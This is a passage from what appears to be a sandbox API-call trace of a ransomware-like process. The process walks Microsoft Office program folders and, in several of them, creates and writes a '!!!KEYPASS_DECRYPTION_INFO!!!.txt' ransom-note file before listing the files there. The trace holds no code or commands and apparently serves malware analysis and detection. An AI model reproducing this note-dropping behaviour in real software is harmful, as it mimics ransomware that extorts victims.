Files\\Microsoft Office\\root\\Office16\\sdxs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\sdxs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\sdxs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbac [0264.867] GetFileType (hFile=0xbac) returned 0x1 [0264.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.867] WriteFile (in: hFile=0xbac, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.868] WriteFile (in: hFile=0xbac, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.868] CloseHandle (hObject=0xbac) returned 1 [0264.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\sdxs\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2a048 [0264.868] FindNextFileW (in: hFindFile=0x4e2a048, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.868] FindNextFileW (in: hFindFile=0x4e2a048, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\sdxs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.868] FindNextFileW (in: hFindFile=0x4e2a048, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\sdxs\\sdxs.xml") returned=".xml" [0264.868] FindNextFileW (in: hFindFile=0x4e2a048, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.868] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE") returned=".EXE" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SENDTO.DLL") returned=".DLL" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SEQCHK10.DLL") returned=".DLL" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE") returned=".EXE" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SG.DLL") returned=".DLL" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SHAPNUM.DLL") returned=".DLL" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SHAREPOINTPROVIDER.DLL") returned=".DLL" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SignalRClient.dll") returned=".dll" [0264.869] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.869] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.869] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.869] GetLastError () returned 0x3f0 [0264.869] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.869] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\skypesrv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbb0 [0264.872] GetFileType (hFile=0xbb0) returned 0x1 [0264.872] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.873] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.873] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.873] WriteFile (in: hFile=0xbb0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.873] WriteFile (in: hFile=0xbb0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.874] CloseHandle (hObject=0xbb0) returned 1 [0264.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2a5c8 [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\CLIENTTELEMETRY.DLL") returned=".DLL" [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\MSO20SKYPEWIN32.DLL") returned=".DLL" [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\SFBAPPSDK.DLL") returned=".DLL" [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\SKYPESERVER.EXE") returned=".EXE" [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\SKYPESERVER.TLB") returned=".TLB" [0264.874] FindNextFileW (in: hFindFile=0x4e2a5c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SMIGRATE.DLL") returned=".DLL" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SOA.DLL") returned=".DLL" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SOCIALCONNECTOR.DLL") returned=".DLL" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SOCIALPROVIDER.DLL") returned=".DLL" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SOLUTILS.DLL") returned=".DLL" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SQLSHARE.DLL") returned=".DLL" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ssprint.dll") returned=".dll" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ssscreenvvs.dll") returned=".dll" [0264.875] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.875] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.875] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.875] GetLastError () returned 0x3f0 [0264.875] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.875] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\startup\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbb8 [0264.877] GetFileType (hFile=0xbb8) returned 0x1 [0264.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.878] WriteFile (in: hFile=0xbb8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.879] WriteFile (in: hFile=0xbb8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.879] CloseHandle (hObject=0xbb8) returned 1 [0264.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2a3c8 [0264.879] FindNextFileW (in: hFindFile=0x4e2a3c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.879] FindNextFileW (in: hFindFile=0x4e2a3c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.879] FindNextFileW (in: hFindFile=0x4e2a3c8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.879] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\STSLIST.DLL") returned=".DLL" [0264.879] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\STYLEMGR.DLL") returned=".DLL" [0264.879] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\SUMINFO.DLL") returned=".DLL" [0264.879] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip") returned=".zip" [0264.879] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.879] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Tec.dll") returned=".dll" [0264.879] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\TecProxy.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\TellMeRuntime.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\TextConversionModule.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\TIMESOLN.DLL") returned=".DLL" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\TLIMPT.EXE") returned=".EXE" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\tmpod.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Uc.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\UCAddin.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\UccApi.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\UcMapi.exe") returned=".exe" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\UCMAPI.EXE.MANIFEST") returned=".MANIFEST" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ucmp.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ucrtbase.dll") returned=".dll" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\udf-host.win32.bundle") returned=".bundle" [0264.880] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.880] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\upe.dll") returned=".dll" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\URLREDIR.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VAOSOLX.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBLZ0007.TLL") returned=".TLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBLZ0009.TLL") returned=".TLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBLZ000C.TLL") returned=".TLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBLZ0011.TLL") returned=".TLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL") returned=".XSL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL") returned=".XSL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\vccorlib140.dll") returned=".dll" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\vcruntime140.dll") returned=".dll" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VERBWIND.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VIEWMODL.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISBRGR.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISBRGRTG.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISCOLOR.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISDLGDBREU.DLL") returned=".DLL" [0264.881] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.882] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISDLGU.DLL") returned=".DLL" [0264.882] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.882] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE") returned=".EXE" [0264.882] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.882] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.882] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.882] GetLastError () returned 0x3f0 [0264.882] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.882] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbbc [0264.883] GetFileType (hFile=0xbbc) returned 0x1 [0264.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.883] WriteFile (in: hFile=0xbbc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.884] WriteFile (in: hFile=0xbbc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.884] CloseHandle (hObject=0xbbc) returned 1 [0264.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2a488 [0264.884] FindNextFileW (in: hFindFile=0x4e2a488, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.884] FindNextFileW (in: hFindFile=0x4e2a488, 